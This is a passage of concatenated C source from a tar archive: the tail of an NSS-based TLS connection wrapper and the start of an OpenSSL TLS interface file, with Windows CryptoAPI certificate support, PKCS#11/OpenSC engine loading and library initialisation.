CERT_DestroyCertificate(cert);
PR_Free(subject);
PR_Free(issuer);
if (conn->verify_peer)
res = SECFailure;
return res;
}
static void nss_handshake_cb(PRFileDesc *fd, void *client_data)
{
struct tls_connection *conn = client_data;
wpa_printf(MSG_DEBUG, "NSS: Handshake completed");
conn->established = 1;
}
struct tls_connection * tls_connection_init(void *tls_ctx)
{
struct tls_connection *conn;
conn = os_zalloc(sizeof(*conn));
if (conn == NULL)
return NULL;
conn->fd = PR_CreateIOLayerStub(nss_layer_id, &nss_io);
if (conn->fd == NULL) {
os_free(conn);
return NULL;
}
conn->fd->secret = (void *) conn;
conn->fd = SSL_ImportFD(NULL, conn->fd);
if (conn->fd == NULL) {
os_free(conn);
return NULL;
}
if (SSL_OptionSet(conn->fd, SSL_SECURITY, PR_TRUE) != SECSuccess ||
SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_CLIENT, PR_TRUE) !=
SECSuccess ||
SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_SERVER, PR_FALSE) !=
SECSuccess ||
SSL_OptionSet(conn->fd, SSL_ENABLE_TLS, PR_TRUE) != SECSuccess ||
SSL_BadCertHook(conn->fd, nss_bad_cert_cb, conn) != SECSuccess ||
SSL_HandshakeCallback(conn->fd, nss_handshake_cb, conn) !=
SECSuccess) {
wpa_printf(MSG_ERROR, "NSS: Failed to set options");
PR_Close(conn->fd);
os_free(conn);
return NULL;
}
SSL_ResetHandshake(conn->fd, PR_FALSE);
return conn;
}
void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn)
{
PR_Close(conn->fd);
os_free(conn->push_buf);
os_free(conn->pull_buf);
os_free(conn);
}
int tls_connection_established(void *tls_ctx, struct tls_connection *conn)
{
return conn->established;
}
int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn)
{
return -1;
}
int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
const struct tls_connection_params *params)
{
wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__);
return 0;
}
int tls_global_set_params(void *tls_ctx,
const struct tls_connection_params *params)
{
return -1;
}
int tls_global_set_verify(void *tls_ctx, int check_crl)
{
return -1;
}
int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn,
int verify_peer)
{
conn->verify_peer = verify_peer;
return 0;
}
int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn,
int tls_ia)
{
return -1;
}
int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn,
struct tls_keys *keys)
{
/* NSS does not export master secret or client/server random. */
return -1;
}
int tls_connection_prf(void *tls_ctx, struct tls_connection *conn,
const char *label, int server_random_first,
u8 *out, size_t out_len)
{
if (conn == NULL || server_random_first) {
wpa_printf(MSG_INFO, "NSS: Unsupported PRF request "
"(server_random_first=%d)",
server_random_first);
return -1;
}
if (SSL_ExportKeyingMaterial(conn->fd, label, NULL, 0, out, out_len) !=
SECSuccess) {
wpa_printf(MSG_INFO, "NSS: Failed to use TLS extractor "
"(label='%s' out_len=%d", label, (int) out_len);
return -1;
}
return 0;
}
struct wpabuf * tls_connection_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
struct wpabuf *out_data;
wpa_printf(MSG_DEBUG, "NSS: handshake: in_len=%u",
in_data ? (unsigned int) wpabuf_len(in_data) : 0);
if (appl_data)
*appl_data = NULL;
if (in_data && wpabuf_len(in_data) > 0) {
if (conn->pull_buf) {
wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in "
"pull_buf", __func__,
(unsigned long) conn->pull_buf_len);
os_free(conn->pull_buf);
}
conn->pull_buf = os_malloc(wpabuf_len(in_data));
if (conn->pull_buf == NULL)
return NULL;
os_memcpy(conn->pull_buf, wpabuf_head(in_data),
wpabuf_len(in_data));
conn->pull_buf_offset = conn->pull_buf;
conn->pull_buf_len = wpabuf_len(in_data);
}
SSL_ForceHandshake(conn->fd);
if (conn->established && conn->push_buf == NULL) {
/* Need to return something to get final TLS ACK. */
conn->push_buf = os_malloc(1);
}
if (conn->push_buf == NULL)
return NULL;
out_data = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len);
if (out_data == NULL)
os_free(conn->push_buf);
conn->push_buf = NULL;
conn->push_buf_len = 0;
return out_data;
}
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
return NULL;
}
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
PRInt32 res;
struct wpabuf *buf;
wpa_printf(MSG_DEBUG, "NSS: encrypt %d bytes",
(int) wpabuf_len(in_data));
res = PR_Send(conn->fd, wpabuf_head(in_data), wpabuf_len(in_data), 0,
0);
if (res < 0) {
wpa_printf(MSG_ERROR, "NSS: Encryption failed");
return NULL;
}
if (conn->push_buf == NULL)
return NULL;
buf = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len);
if (buf == NULL)
os_free(conn->push_buf);
conn->push_buf = NULL;
conn->push_buf_len = 0;
return buf;
}
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
PRInt32 res;
struct wpabuf *out;
wpa_printf(MSG_DEBUG, "NSS: decrypt %d bytes",
(int) wpabuf_len(in_data));
if (conn->pull_buf) {
wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in "
"pull_buf", __func__,
(unsigned long) conn->pull_buf_len);
os_free(conn->pull_buf);
}
conn->pull_buf = os_malloc(wpabuf_len(in_data));
if (conn->pull_buf == NULL)
return NULL;
os_memcpy(conn->pull_buf, wpabuf_head(in_data), wpabuf_len(in_data));
conn->pull_buf_offset = conn->pull_buf;
conn->pull_buf_len = wpabuf_len(in_data);
/*
* Even though we try to disable TLS compression, it is possible that
* this cannot be done with all TLS libraries. Add extra buffer space
* to handle the possibility of the decrypted data being longer than
* input data.
*/
out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3);
if (out == NULL)
return NULL;
res = PR_Recv(conn->fd, wpabuf_mhead(out), wpabuf_size(out), 0, 0);
wpa_printf(MSG_DEBUG, "NSS: PR_Recv: %d", res);
if (res < 0) {
wpabuf_free(out);
return NULL;
}
wpabuf_put(out, res);
return out;
}
int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn)
{
return 0;
}
int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn,
u8 *ciphers)
{
return -1;
}
int tls_get_cipher(void *tls_ctx, struct tls_connection *conn,
char *buf, size_t buflen)
{
return -1;
}
int tls_connection_enable_workaround(void *tls_ctx,
struct tls_connection *conn)
{
return -1;
}
int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn,
int ext_type, const u8 *data,
size_t data_len)
{
return -1;
}
int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn)
{
return 0;
}
int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn)
{
return 0;
}
int tls_connection_get_write_alerts(void *tls_ctx,
struct tls_connection *conn)
{
return 0;
}
int tls_connection_get_keyblock_size(void *tls_ctx,
struct tls_connection *conn)
{
return -1;
}
unsigned int tls_capabilities(void *tls_ctx)
{
return 0;
}
struct wpabuf * tls_connection_ia_send_phase_finished(
void *tls_ctx, struct tls_connection *conn, int final)
{
return NULL;
}
int tls_connection_ia_final_phase_finished(void *tls_ctx,
struct tls_connection *conn)
{
return -1;
}
int tls_connection_ia_permute_inner_secret(void *tls_ctx,
struct tls_connection *conn,
const u8 *key, size_t key_len)
{
return -1;
}
int tls_connection_set_session_ticket_cb(void *tls_ctx,
struct tls_connection *conn,
tls_session_ticket_cb cb,
void *ctx)
{
return -1;
}
bully-1.4-00/src/crypto/tls_openssl.c 0000775 0000000 0000000 00000216224 13615304636 0017563 0 ustar 00root root 0000000 0000000 /*
* SSL/TLS interface functions for OpenSSL
* Copyright (c) 2004-2010, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#ifndef CONFIG_SMARTCARD
#ifndef OPENSSL_NO_ENGINE
#define OPENSSL_NO_ENGINE
#endif
#endif
#include
#include
#include
#include
#ifndef OPENSSL_NO_ENGINE
#include
#endif /* OPENSSL_NO_ENGINE */
#include "common.h"
#include "crypto.h"
#include "tls.h"
#if OPENSSL_VERSION_NUMBER >= 0x0090800fL
#define OPENSSL_d2i_TYPE const unsigned char **
#else
#define OPENSSL_d2i_TYPE unsigned char **
#endif
#ifdef SSL_F_SSL_SET_SESSION_TICKET_EXT
#ifdef SSL_OP_NO_TICKET
/*
* Session ticket override patch was merged into OpenSSL 0.9.9 tree on
* 2008-11-15. This version uses a bit different API compared to the old patch.
*/
#define CONFIG_OPENSSL_TICKET_OVERRIDE
#endif
#endif
static int tls_openssl_ref_count = 0;
struct tls_global {
void (*event_cb)(void *ctx, enum tls_event ev,
union tls_event_data *data);
void *cb_ctx;
};
static struct tls_global *tls_global = NULL;
struct tls_connection {
SSL *ssl;
BIO *ssl_in, *ssl_out;
#ifndef OPENSSL_NO_ENGINE
ENGINE *engine; /* functional reference to the engine */
EVP_PKEY *private_key; /* the private key if using engine */
#endif /* OPENSSL_NO_ENGINE */
char *subject_match, *altsubject_match;
int read_alerts, write_alerts, failed;
tls_session_ticket_cb session_ticket_cb;
void *session_ticket_cb_ctx;
/* SessionTicket received from OpenSSL hello_extension_cb (server) */
u8 *session_ticket;
size_t session_ticket_len;
unsigned int ca_cert_verify:1;
unsigned int cert_probe:1;
unsigned int server_cert_only:1;
u8 srv_cert_hash[32];
};
#ifdef CONFIG_NO_STDOUT_DEBUG
static void _tls_show_errors(void)
{
unsigned long err;
while ((err = ERR_get_error())) {
/* Just ignore the errors, since stdout is disabled */
}
}
#define tls_show_errors(l, f, t) _tls_show_errors()
#else /* CONFIG_NO_STDOUT_DEBUG */
static void tls_show_errors(int level, const char *func, const char *txt)
{
unsigned long err;
wpa_printf(level, "OpenSSL: %s - %s %s",
func, txt, ERR_error_string(ERR_get_error(), NULL));
while ((err = ERR_get_error())) {
wpa_printf(MSG_INFO, "OpenSSL: pending error: %s",
ERR_error_string(err, NULL));
}
}
#endif /* CONFIG_NO_STDOUT_DEBUG */
#ifdef CONFIG_NATIVE_WINDOWS
/* Windows CryptoAPI and access to certificate stores */
#include
#ifdef __MINGW32_VERSION
/*
* MinGW does not yet include all the needed definitions for CryptoAPI, so
* define here whatever extra is needed.
*/
#define CERT_SYSTEM_STORE_CURRENT_USER (1 << 16)
#define CERT_STORE_READONLY_FLAG 0x00008000
#define CERT_STORE_OPEN_EXISTING_FLAG 0x00004000
#endif /* __MINGW32_VERSION */
struct cryptoapi_rsa_data {
const CERT_CONTEXT *cert;
HCRYPTPROV crypt_prov;
DWORD key_spec;
BOOL free_crypt_prov;
};
static void cryptoapi_error(const char *msg)
{
wpa_printf(MSG_INFO, "CryptoAPI: %s; err=%u",
msg, (unsigned int) GetLastError());
}
static int cryptoapi_rsa_pub_enc(int flen, const unsigned char *from,
unsigned char *to, RSA *rsa, int padding)
{
wpa_printf(MSG_DEBUG, "%s - not implemented", __func__);
return 0;
}
static int cryptoapi_rsa_pub_dec(int flen, const unsigned char *from,
unsigned char *to, RSA *rsa, int padding)
{
wpa_printf(MSG_DEBUG, "%s - not implemented", __func__);
return 0;
}
static int cryptoapi_rsa_priv_enc(int flen, const unsigned char *from,
unsigned char *to, RSA *rsa, int padding)
{
struct cryptoapi_rsa_data *priv =
(struct cryptoapi_rsa_data *) rsa->meth->app_data;
HCRYPTHASH hash;
DWORD hash_size, len, i;
unsigned char *buf = NULL;
int ret = 0;
if (priv == NULL) {
RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT,
ERR_R_PASSED_NULL_PARAMETER);
return 0;
}
if (padding != RSA_PKCS1_PADDING) {
RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT,
RSA_R_UNKNOWN_PADDING_TYPE);
return 0;
}
if (flen != 16 /* MD5 */ + 20 /* SHA-1 */) {
wpa_printf(MSG_INFO, "%s - only MD5-SHA1 hash supported",
__func__);
RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT,
RSA_R_INVALID_MESSAGE_LENGTH);
return 0;
}
if (!CryptCreateHash(priv->crypt_prov, CALG_SSL3_SHAMD5, 0, 0, &hash))
{
cryptoapi_error("CryptCreateHash failed");
return 0;
}
len = sizeof(hash_size);
if (!CryptGetHashParam(hash, HP_HASHSIZE, (BYTE *) &hash_size, &len,
0)) {
cryptoapi_error("CryptGetHashParam failed");
goto err;
}
if ((int) hash_size != flen) {
wpa_printf(MSG_INFO, "CryptoAPI: Invalid hash size (%u != %d)",
(unsigned) hash_size, flen);
RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT,
RSA_R_INVALID_MESSAGE_LENGTH);
goto err;
}
if (!CryptSetHashParam(hash, HP_HASHVAL, (BYTE * ) from, 0)) {
cryptoapi_error("CryptSetHashParam failed");
goto err;
}
len = RSA_size(rsa);
buf = os_malloc(len);
if (buf == NULL) {
RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, ERR_R_MALLOC_FAILURE);
goto err;
}
if (!CryptSignHash(hash, priv->key_spec, NULL, 0, buf, &len)) {
cryptoapi_error("CryptSignHash failed");
goto err;
}
for (i = 0; i < len; i++)
to[i] = buf[len - i - 1];
ret = len;
err:
os_free(buf);
CryptDestroyHash(hash);
return ret;
}
static int cryptoapi_rsa_priv_dec(int flen, const unsigned char *from,
unsigned char *to, RSA *rsa, int padding)
{
wpa_printf(MSG_DEBUG, "%s - not implemented", __func__);
return 0;
}
static void cryptoapi_free_data(struct cryptoapi_rsa_data *priv)
{
if (priv == NULL)
return;
if (priv->crypt_prov && priv->free_crypt_prov)
CryptReleaseContext(priv->crypt_prov, 0);
if (priv->cert)
CertFreeCertificateContext(priv->cert);
os_free(priv);
}
static int cryptoapi_finish(RSA *rsa)
{
cryptoapi_free_data((struct cryptoapi_rsa_data *) rsa->meth->app_data);
os_free((void *) rsa->meth);
rsa->meth = NULL;
return 1;
}
static const CERT_CONTEXT * cryptoapi_find_cert(const char *name, DWORD store)
{
HCERTSTORE cs;
const CERT_CONTEXT *ret = NULL;
cs = CertOpenStore((LPCSTR) CERT_STORE_PROV_SYSTEM, 0, 0,
store | CERT_STORE_OPEN_EXISTING_FLAG |
CERT_STORE_READONLY_FLAG, L"MY");
if (cs == NULL) {
cryptoapi_error("Failed to open 'My system store'");
return NULL;
}
if (strncmp(name, "cert://", 7) == 0) {
unsigned short wbuf[255];
MultiByteToWideChar(CP_ACP, 0, name + 7, -1, wbuf, 255);
ret = CertFindCertificateInStore(cs, X509_ASN_ENCODING |
PKCS_7_ASN_ENCODING,
0, CERT_FIND_SUBJECT_STR,
wbuf, NULL);
} else if (strncmp(name, "hash://", 7) == 0) {
CRYPT_HASH_BLOB blob;
int len;
const char *hash = name + 7;
unsigned char *buf;
len = os_strlen(hash) / 2;
buf = os_malloc(len);
if (buf && hexstr2bin(hash, buf, len) == 0) {
blob.cbData = len;
blob.pbData = buf;
ret = CertFindCertificateInStore(cs,
X509_ASN_ENCODING |
PKCS_7_ASN_ENCODING,
0, CERT_FIND_HASH,
&blob, NULL);
}
os_free(buf);
}
CertCloseStore(cs, 0);
return ret;
}
static int tls_cryptoapi_cert(SSL *ssl, const char *name)
{
X509 *cert = NULL;
RSA *rsa = NULL, *pub_rsa;
struct cryptoapi_rsa_data *priv;
RSA_METHOD *rsa_meth;
if (name == NULL ||
(strncmp(name, "cert://", 7) != 0 &&
strncmp(name, "hash://", 7) != 0))
return -1;
priv = os_zalloc(sizeof(*priv));
rsa_meth = os_zalloc(sizeof(*rsa_meth));
if (priv == NULL || rsa_meth == NULL) {
wpa_printf(MSG_WARNING, "CryptoAPI: Failed to allocate memory "
"for CryptoAPI RSA method");
os_free(priv);
os_free(rsa_meth);
return -1;
}
priv->cert = cryptoapi_find_cert(name, CERT_SYSTEM_STORE_CURRENT_USER);
if (priv->cert == NULL) {
priv->cert = cryptoapi_find_cert(
name, CERT_SYSTEM_STORE_LOCAL_MACHINE);
}
if (priv->cert == NULL) {
wpa_printf(MSG_INFO, "CryptoAPI: Could not find certificate "
"'%s'", name);
goto err;
}
cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &priv->cert->pbCertEncoded,
priv->cert->cbCertEncoded);
if (cert == NULL) {
wpa_printf(MSG_INFO, "CryptoAPI: Could not process X509 DER "
"encoding");
goto err;
}
if (!CryptAcquireCertificatePrivateKey(priv->cert,
CRYPT_ACQUIRE_COMPARE_KEY_FLAG,
NULL, &priv->crypt_prov,
&priv->key_spec,
&priv->free_crypt_prov)) {
cryptoapi_error("Failed to acquire a private key for the "
"certificate");
goto err;
}
rsa_meth->name = "Microsoft CryptoAPI RSA Method";
rsa_meth->rsa_pub_enc = cryptoapi_rsa_pub_enc;
rsa_meth->rsa_pub_dec = cryptoapi_rsa_pub_dec;
rsa_meth->rsa_priv_enc = cryptoapi_rsa_priv_enc;
rsa_meth->rsa_priv_dec = cryptoapi_rsa_priv_dec;
rsa_meth->finish = cryptoapi_finish;
rsa_meth->flags = RSA_METHOD_FLAG_NO_CHECK;
rsa_meth->app_data = (char *) priv;
rsa = RSA_new();
if (rsa == NULL) {
SSLerr(SSL_F_SSL_CTX_USE_CERTIFICATE_FILE,
ERR_R_MALLOC_FAILURE);
goto err;
}
if (!SSL_use_certificate(ssl, cert)) {
RSA_free(rsa);
rsa = NULL;
goto err;
}
pub_rsa = cert->cert_info->key->pkey->pkey.rsa;
X509_free(cert);
cert = NULL;
rsa->n = BN_dup(pub_rsa->n);
rsa->e = BN_dup(pub_rsa->e);
if (!RSA_set_method(rsa, rsa_meth))
goto err;
if (!SSL_use_RSAPrivateKey(ssl, rsa))
goto err;
RSA_free(rsa);
return 0;
err:
if (cert)
X509_free(cert);
if (rsa)
RSA_free(rsa);
else {
os_free(rsa_meth);
cryptoapi_free_data(priv);
}
return -1;
}
static int tls_cryptoapi_ca_cert(SSL_CTX *ssl_ctx, SSL *ssl, const char *name)
{
HCERTSTORE cs;
PCCERT_CONTEXT ctx = NULL;
X509 *cert;
char buf[128];
const char *store;
#ifdef UNICODE
WCHAR *wstore;
#endif /* UNICODE */
if (name == NULL || strncmp(name, "cert_store://", 13) != 0)
return -1;
store = name + 13;
#ifdef UNICODE
wstore = os_malloc((os_strlen(store) + 1) * sizeof(WCHAR));
if (wstore == NULL)
return -1;
wsprintf(wstore, L"%S", store);
cs = CertOpenSystemStore(0, wstore);
os_free(wstore);
#else /* UNICODE */
cs = CertOpenSystemStore(0, store);
#endif /* UNICODE */
if (cs == NULL) {
wpa_printf(MSG_DEBUG, "%s: failed to open system cert store "
"'%s': error=%d", __func__, store,
(int) GetLastError());
return -1;
}
while ((ctx = CertEnumCertificatesInStore(cs, ctx))) {
cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &ctx->pbCertEncoded,
ctx->cbCertEncoded);
if (cert == NULL) {
wpa_printf(MSG_INFO, "CryptoAPI: Could not process "
"X509 DER encoding for CA cert");
continue;
}
X509_NAME_oneline(X509_get_subject_name(cert), buf,
sizeof(buf));
wpa_printf(MSG_DEBUG, "OpenSSL: Loaded CA certificate for "
"system certificate store: subject='%s'", buf);
if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) {
tls_show_errors(MSG_WARNING, __func__,
"Failed to add ca_cert to OpenSSL "
"certificate store");
}
X509_free(cert);
}
if (!CertCloseStore(cs, 0)) {
wpa_printf(MSG_DEBUG, "%s: failed to close system cert store "
"'%s': error=%d", __func__, name + 13,
(int) GetLastError());
}
return 0;
}
#else /* CONFIG_NATIVE_WINDOWS */
static int tls_cryptoapi_cert(SSL *ssl, const char *name)
{
return -1;
}
#endif /* CONFIG_NATIVE_WINDOWS */
static void ssl_info_cb(const SSL *ssl, int where, int ret)
{
const char *str;
int w;
wpa_printf(MSG_DEBUG, "SSL: (where=0x%x ret=0x%x)", where, ret);
w = where & ~SSL_ST_MASK;
if (w & SSL_ST_CONNECT)
str = "SSL_connect";
else if (w & SSL_ST_ACCEPT)
str = "SSL_accept";
else
str = "undefined";
if (where & SSL_CB_LOOP) {
wpa_printf(MSG_DEBUG, "SSL: %s:%s",
str, SSL_state_string_long(ssl));
} else if (where & SSL_CB_ALERT) {
wpa_printf(MSG_INFO, "SSL: SSL3 alert: %s:%s:%s",
where & SSL_CB_READ ?
"read (remote end reported an error)" :
"write (local SSL3 detected an error)",
SSL_alert_type_string_long(ret),
SSL_alert_desc_string_long(ret));
if ((ret >> 8) == SSL3_AL_FATAL) {
struct tls_connection *conn =
SSL_get_app_data((SSL *) ssl);
if (where & SSL_CB_READ)
conn->read_alerts++;
else
conn->write_alerts++;
}
} else if (where & SSL_CB_EXIT && ret <= 0) {
wpa_printf(MSG_DEBUG, "SSL: %s:%s in %s",
str, ret == 0 ? "failed" : "error",
SSL_state_string_long(ssl));
}
}
#ifndef OPENSSL_NO_ENGINE
/**
* tls_engine_load_dynamic_generic - load any openssl engine
* @pre: an array of commands and values that load an engine initialized
* in the engine specific function
* @post: an array of commands and values that initialize an already loaded
* engine (or %NULL if not required)
* @id: the engine id of the engine to load (only required if post is not %NULL
*
* This function is a generic function that loads any openssl engine.
*
* Returns: 0 on success, -1 on failure
*/
static int tls_engine_load_dynamic_generic(const char *pre[],
const char *post[], const char *id)
{
ENGINE *engine;
const char *dynamic_id = "dynamic";
engine = ENGINE_by_id(id);
if (engine) {
ENGINE_free(engine);
wpa_printf(MSG_DEBUG, "ENGINE: engine '%s' is already "
"available", id);
return 0;
}
ERR_clear_error();
engine = ENGINE_by_id(dynamic_id);
if (engine == NULL) {
wpa_printf(MSG_INFO, "ENGINE: Can't find engine %s [%s]",
dynamic_id,
ERR_error_string(ERR_get_error(), NULL));
return -1;
}
/* Perform the pre commands. This will load the engine. */
while (pre && pre[0]) {
wpa_printf(MSG_DEBUG, "ENGINE: '%s' '%s'", pre[0], pre[1]);
if (ENGINE_ctrl_cmd_string(engine, pre[0], pre[1], 0) == 0) {
wpa_printf(MSG_INFO, "ENGINE: ctrl cmd_string failed: "
"%s %s [%s]", pre[0], pre[1],
ERR_error_string(ERR_get_error(), NULL));
ENGINE_free(engine);
return -1;
}
pre += 2;
}
/*
* Free the reference to the "dynamic" engine. The loaded engine can
* now be looked up using ENGINE_by_id().
*/
ENGINE_free(engine);
engine = ENGINE_by_id(id);
if (engine == NULL) {
wpa_printf(MSG_INFO, "ENGINE: Can't find engine %s [%s]",
id, ERR_error_string(ERR_get_error(), NULL));
return -1;
}
while (post && post[0]) {
wpa_printf(MSG_DEBUG, "ENGINE: '%s' '%s'", post[0], post[1]);
if (ENGINE_ctrl_cmd_string(engine, post[0], post[1], 0) == 0) {
wpa_printf(MSG_DEBUG, "ENGINE: ctrl cmd_string failed:"
" %s %s [%s]", post[0], post[1],
ERR_error_string(ERR_get_error(), NULL));
ENGINE_remove(engine);
ENGINE_free(engine);
return -1;
}
post += 2;
}
ENGINE_free(engine);
return 0;
}
/**
* tls_engine_load_dynamic_pkcs11 - load the pkcs11 engine provided by opensc
* @pkcs11_so_path: pksc11_so_path from the configuration
* @pcks11_module_path: pkcs11_module_path from the configuration
*/
static int tls_engine_load_dynamic_pkcs11(const char *pkcs11_so_path,
const char *pkcs11_module_path)
{
char *engine_id = "pkcs11";
const char *pre_cmd[] = {
"SO_PATH", NULL /* pkcs11_so_path */,
"ID", NULL /* engine_id */,
"LIST_ADD", "1",
/* "NO_VCHECK", "1", */
"LOAD", NULL,
NULL, NULL
};
const char *post_cmd[] = {
"MODULE_PATH", NULL /* pkcs11_module_path */,
NULL, NULL
};
if (!pkcs11_so_path || !pkcs11_module_path)
return 0;
pre_cmd[1] = pkcs11_so_path;
pre_cmd[3] = engine_id;
post_cmd[1] = pkcs11_module_path;
wpa_printf(MSG_DEBUG, "ENGINE: Loading pkcs11 Engine from %s",
pkcs11_so_path);
return tls_engine_load_dynamic_generic(pre_cmd, post_cmd, engine_id);
}
/**
* tls_engine_load_dynamic_opensc - load the opensc engine provided by opensc
* @opensc_so_path: opensc_so_path from the configuration
*/
static int tls_engine_load_dynamic_opensc(const char *opensc_so_path)
{
char *engine_id = "opensc";
const char *pre_cmd[] = {
"SO_PATH", NULL /* opensc_so_path */,
"ID", NULL /* engine_id */,
"LIST_ADD", "1",
"LOAD", NULL,
NULL, NULL
};
if (!opensc_so_path)
return 0;
pre_cmd[1] = opensc_so_path;
pre_cmd[3] = engine_id;
wpa_printf(MSG_DEBUG, "ENGINE: Loading OpenSC Engine from %s",
opensc_so_path);
return tls_engine_load_dynamic_generic(pre_cmd, NULL, engine_id);
}
#endif /* OPENSSL_NO_ENGINE */
void * tls_init(const struct tls_config *conf)
{
SSL_CTX *ssl;
if (tls_openssl_ref_count == 0) {
tls_global = os_zalloc(sizeof(*tls_global));
if (tls_global == NULL)
return NULL;
if (conf) {
tls_global->event_cb = conf->event_cb;
tls_global->cb_ctx = conf->cb_ctx;
}
#ifdef CONFIG_FIPS
#ifdef OPENSSL_FIPS
if (conf && conf->fips_mode) {
if (!FIPS_mode_set(1)) {
wpa_printf(MSG_ERROR, "Failed to enable FIPS "
"mode");
ERR_load_crypto_strings();
ERR_print_errors_fp(stderr);
return NULL;
} else
wpa_printf(MSG_INFO, "Running in FIPS mode");
}
#else /* OPENSSL_FIPS */
if (conf && conf->fips_mode) {
wpa_printf(MSG_ERROR, "FIPS mode requested, but not "
"supported");
return NULL;
}
#endif /* OPENSSL_FIPS */
#endif /* CONFIG_FIPS */
SSL_load_error_strings();
SSL_library_init();
#ifndef OPENSSL_NO_SHA256
EVP_add_digest(EVP_sha256());
#endif /* OPENSSL_NO_SHA256 */
/* TODO: if /dev/urandom is available, PRNG is seeded
* automatically. If this is not the case, random data should
* be added here. */
#ifdef PKCS12_FUNCS
#ifndef OPENSSL_NO_RC2
/*
* 40-bit RC2 is commonly used in PKCS#12 files, so enable it.
* This is enabled by PKCS12_PBE_add() in OpenSSL 0.9.8
* versions, but it looks like OpenSSL 1.0.0 does not do that
* anymore.
*/
EVP_add_cipher(EVP_rc2_40_cbc());
#endif /* OPENSSL_NO_RC2 */
PKCS12_PBE_add();
#endif /* PKCS12_FUNCS */
}
tls_openssl_ref_count++;
ssl = SSL_CTX_new(TLSv1_method());
if (ssl == NULL)
return NULL;
SSL_CTX_set_info_callback(ssl, ssl_info_cb);
#ifndef OPENSSL_NO_ENGINE
if (conf &&
(conf->opensc_engine_path || conf->pkcs11_engine_path ||
conf->pkcs11_module_path)) {
wpa_printf(MSG_DEBUG, "ENGINE: Loading dynamic engine");
ERR_load_ENGINE_strings();
ENGINE_load_dynamic();
if (tls_engine_load_dynamic_opensc(conf->opensc_engine_path) ||
tls_engine_load_dynamic_pkcs11(conf->pkcs11_engine_path,
conf->pkcs11_module_path)) {
tls_deinit(ssl);
return NULL;
}
}
#endif /* OPENSSL_NO_ENGINE */
return ssl;
}
void tls_deinit(void *ssl_ctx)
{
SSL_CTX *ssl = ssl_ctx;
SSL_CTX_free(ssl);
tls_openssl_ref_count--;
if (tls_openssl_ref_count == 0) {
#ifndef OPENSSL_NO_ENGINE
ENGINE_cleanup();
#endif /* OPENSSL_NO_ENGINE */
CRYPTO_cleanup_all_ex_data();
ERR_remove_state(0);
ERR_free_strings();
EVP_cleanup();
os_free(tls_global);
tls_global = NULL;
}
}
static int tls_engine_init(struct tls_connection *conn, const char *engine_id,
const char *pin, const char *key_id,
const char *cert_id, const char *ca_cert_id)
{
#ifndef OPENSSL_NO_ENGINE
int ret = -1;
if (engine_id == NULL) {
wpa_printf(MSG_ERROR, "ENGINE: Engine ID not set");
return -1;
}
if (pin == NULL) {
wpa_printf(MSG_ERROR, "ENGINE: Smartcard PIN not set");
return -1;
}
if (key_id == NULL) {
wpa_printf(MSG_ERROR, "ENGINE: Key Id not set");
return -1;
}
ERR_clear_error();
conn->engine = ENGINE_by_id(engine_id);
if (!conn->engine) {
wpa_printf(MSG_ERROR, "ENGINE: engine %s not available [%s]",
engine_id, ERR_error_string(ERR_get_error(), NULL));
goto err;
}
if (ENGINE_init(conn->engine) != 1) {
wpa_printf(MSG_ERROR, "ENGINE: engine init failed "
"(engine: %s) [%s]", engine_id,
ERR_error_string(ERR_get_error(), NULL));
goto err;
}
wpa_printf(MSG_DEBUG, "ENGINE: engine initialized");
if (ENGINE_ctrl_cmd_string(conn->engine, "PIN", pin, 0) == 0) {
wpa_printf(MSG_ERROR, "ENGINE: cannot set pin [%s]",
ERR_error_string(ERR_get_error(), NULL));
goto err;
}
/* load private key first in-case PIN is required for cert */
conn->private_key = ENGINE_load_private_key(conn->engine,
key_id, NULL, NULL);
if (!conn->private_key) {
wpa_printf(MSG_ERROR, "ENGINE: cannot load private key with id"
" '%s' [%s]", key_id,
ERR_error_string(ERR_get_error(), NULL));
ret = TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED;
goto err;
}
/* handle a certificate and/or CA certificate */
if (cert_id || ca_cert_id) {
const char *cmd_name = "LOAD_CERT_CTRL";
/* test if the engine supports a LOAD_CERT_CTRL */
if (!ENGINE_ctrl(conn->engine, ENGINE_CTRL_GET_CMD_FROM_NAME,
0, (void *)cmd_name, NULL)) {
wpa_printf(MSG_ERROR, "ENGINE: engine does not support"
" loading certificates");
ret = TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED;
goto err;
}
}
return 0;
err:
if (conn->engine) {
ENGINE_free(conn->engine);
conn->engine = NULL;
}
if (conn->private_key) {
